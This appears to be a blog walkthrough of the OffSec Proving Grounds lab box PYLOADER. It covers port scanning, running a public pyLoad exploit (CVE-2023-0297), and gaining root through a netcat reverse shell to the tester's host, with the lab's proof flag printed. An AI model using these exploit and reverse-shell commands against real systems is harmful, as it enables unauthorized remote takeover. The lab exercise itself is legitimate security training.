Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - PYLOADER

·1286 words·7 mins·
OSCP OFFSEC PG PRACTICE PYLOAD
Table of Contents

Summary
#

On port 9666 there is an application running called pyload. Using searchsploit we find an unauthenticated RCE (CVE-2023-0297) giving us initial access as the root user.

Specifications
#

  • Name: PYLOADER
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux pyloader 5.15.0-75-generic #82-Ubuntu SMP Tue Jun 6 23:10:23 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.127.26
  • OFFSEC provided credentials: None
  • HASH: local.txt: None
  • HASH: proof.txt:a56269afd5846b23eeb1b963affe56f7

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir pyloader && cd pyloader && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 24 18:00 .
drwxrwxr-x 40 kali kali 4096 Aug 24 18:00 ..
drwxrwxr-x  2 kali kali 4096 Aug 24 18:00 enum
drwxrwxr-x  2 kali kali 4096 Aug 24 18:00 exploits
drwxrwxr-x  2 kali kali 4096 Aug 24 18:00 files
drwxrwxr-x  2 kali kali 4096 Aug 24 18:00 tools
drwxrwxr-x  2 kali kali 4096 Aug 24 18:00 uploads

## set bash variable
ip=192.168.127.26

## ping target to check if it's online
ping $ip

PING 192.168.127.26 (192.168.127.26) 56(84) bytes of data.
64 bytes from 192.168.127.26: icmp_seq=1 ttl=61 time=21.3 ms
64 bytes from 192.168.127.26: icmp_seq=2 ttl=61 time=23.7 ms
^C
--- 192.168.127.26 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 21.295/22.513/23.731/1.218 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.127.26:22
Open 192.168.127.26:9666
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 18:02 CEST
Initiating Ping Scan at 18:02
Scanning 192.168.127.26 [4 ports]
Completed Ping Scan at 18:02, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:02
Completed Parallel DNS resolution of 1 host. at 18:02, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:02
Scanning 192.168.127.26 [2 ports]
Discovered open port 22/tcp on 192.168.127.26
Discovered open port 9666/tcp on 192.168.127.26
Completed SYN Stealth Scan at 18:02, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.127.26
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-24 18:02:33 CEST for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
9666/tcp open  zoomcp  syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh     syn-ack ttl 61
9666/tcp open  zoomcp  syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,9666

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,9666 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
9666/tcp open  http    syn-ack ttl 61 CherryPy wsgiserver
| http-title: Login - pyLoad 
|_Requested resource was /login?next=http://192.168.127.26:9666/
|_http-server-header: Cheroot/8.6.0
| http-robots.txt: 1 disallowed entry 
|_/
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-favicon: Unknown favicon MD5: 71AAC1BA3CF57C009DA1994F94A2CC89
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

9666/tcp open  http    syn-ack ttl 61 CherryPy wsgiserver
| http-title: Login - pyLoad 
|_Requested resource was /login?next=http://192.168.127.26:9666/
|_http-server-header: Cheroot/8.6.0
| http-robots.txt: 1 disallowed entry 
|_/
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-favicon: Unknown favicon MD5: 71AAC1BA3CF57C009DA1994F94A2CC89

Looking up port 9666 in the browser, we see there is a site called pyLoad.

Using searchsploit to see if an exploit is available for pyload we indeed are able to find an exploit, an unauthenticated RCE (CVE-2023-0297), https://www.exploit-db.com/exploits/51532. So let’s download this exploit and run it. However, when run with, example whoami there is no output. So let’s setup a local webserver and see if we can get a request from the target to get a none existing test file.

## changee directory
cd exploits

## use searchsploit to find an pyload exploit
searchsploit pyload      
------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                         |  Path
------------------------------------------------------------------------------------------------------- ---------------------------------
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)                                                    | python/webapps/51532.py
------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

## mirror the exploit locally
searchsploit -m python/webapps/51532.py  
  Exploit: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/51532
     Path: /usr/share/exploitdb/exploits/python/webapps/51532.py
    Codes: CVE-2023-0297
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/hk/offsec/pg/practice/pyloader/exploits/51532.py

## start a local webserver
python3 -m http.server 80                                                                                            
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.237/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## run the exploit using `wget` to get the local `test` file
python3 51532.py -u http://192.168.127.26:9666 -c "wget http://192.168.45.237/test" 
[+] Check if target host is alive: http://192.168.127.26:9666
[+] Host up, let's exploit! 
[+] The exploit has be executeded in target machine. 

## local webserver log
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.127.26 - - [24/Aug/2025 19:16:28] code 404, message File not found
192.168.127.26 - - [24/Aug/2025 19:16:28] "GET /test HTTP/1.1" 404 -

So we have unauthenticated RCE. Let’s get a reverse shell. Once we run the command we get, surprisingly initial access as the root user. So there’s no need for privilege escalation.

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.237/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## run the exploit with the reverse shell command
python3 51532.py -u http://192.168.127.26:9666 -c "busybox nc 192.168.45.237 9001 -e /bin/bash"
[+] Check if target host is alive: http://192.168.127.26:9666
[+] Host up, let's exploit!

## catch the reverse shell
nc -lvnp 9001   
listening on [any] 9001 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.127.26] 33850

## print the current user
whoami
root

## print `proof.txt`
cat /root/proof.txt
a56269afd5846b23eeb1b963affe56f7

References
#

[+] https://www.exploit-db.com/exploits/51532

Related

OFFSEC - Proving Grounds - BITFORGE
·4120 words·20 mins
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Git on port 80 leaks MySQL credentials. RCE in Simple Planning v1.52.01 for initial access, with pspy64 find jack’s credentials and changing flask script escalates to root.
OFFSEC - Proving Grounds - RUBYDOME
·1773 words·9 mins
OSCP OFFSEC PG PRACTICE PDFKIT
Access target via SSH or exploit CVE-2022-25765 on port 3000. Gain initial access as the andrew user, escalate to root via sudo ruby script.
OFFSEC - Proving Grounds - BOOLEAN
·2045 words·10 mins
OSCP OFFSEC PG PRACTICE SSH-KEYGEN BURP
Login screen can be bypassed via register JSON tweak and provides access remi’s .ssh directory. Upload our own SSH key for initial access and get root’s private key for privilege escalation.
OFFSEC - Proving Grounds - LAVITA
·2978 words·14 mins
OSCP OFFSEC PG PRACTICE LARAVEL
SSH in or exploit Laravel 8.4.0 with APP_DEBUG is set to true to gain www-data access. Abuse skunk’s script to escalate to skunk and use sudo /usr/bin/composer to edit composer.json to escalate privileges.
OFFSEC - Proving Grounds - PLUM
·1456 words·7 mins
OSCP OFFSEC PG PRACTICE PLUXML
PluXml on port 80 uses weak credentials. Edit page to add PHP reverse shell for initial access. Find root password in /var/mail/www-data.
OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.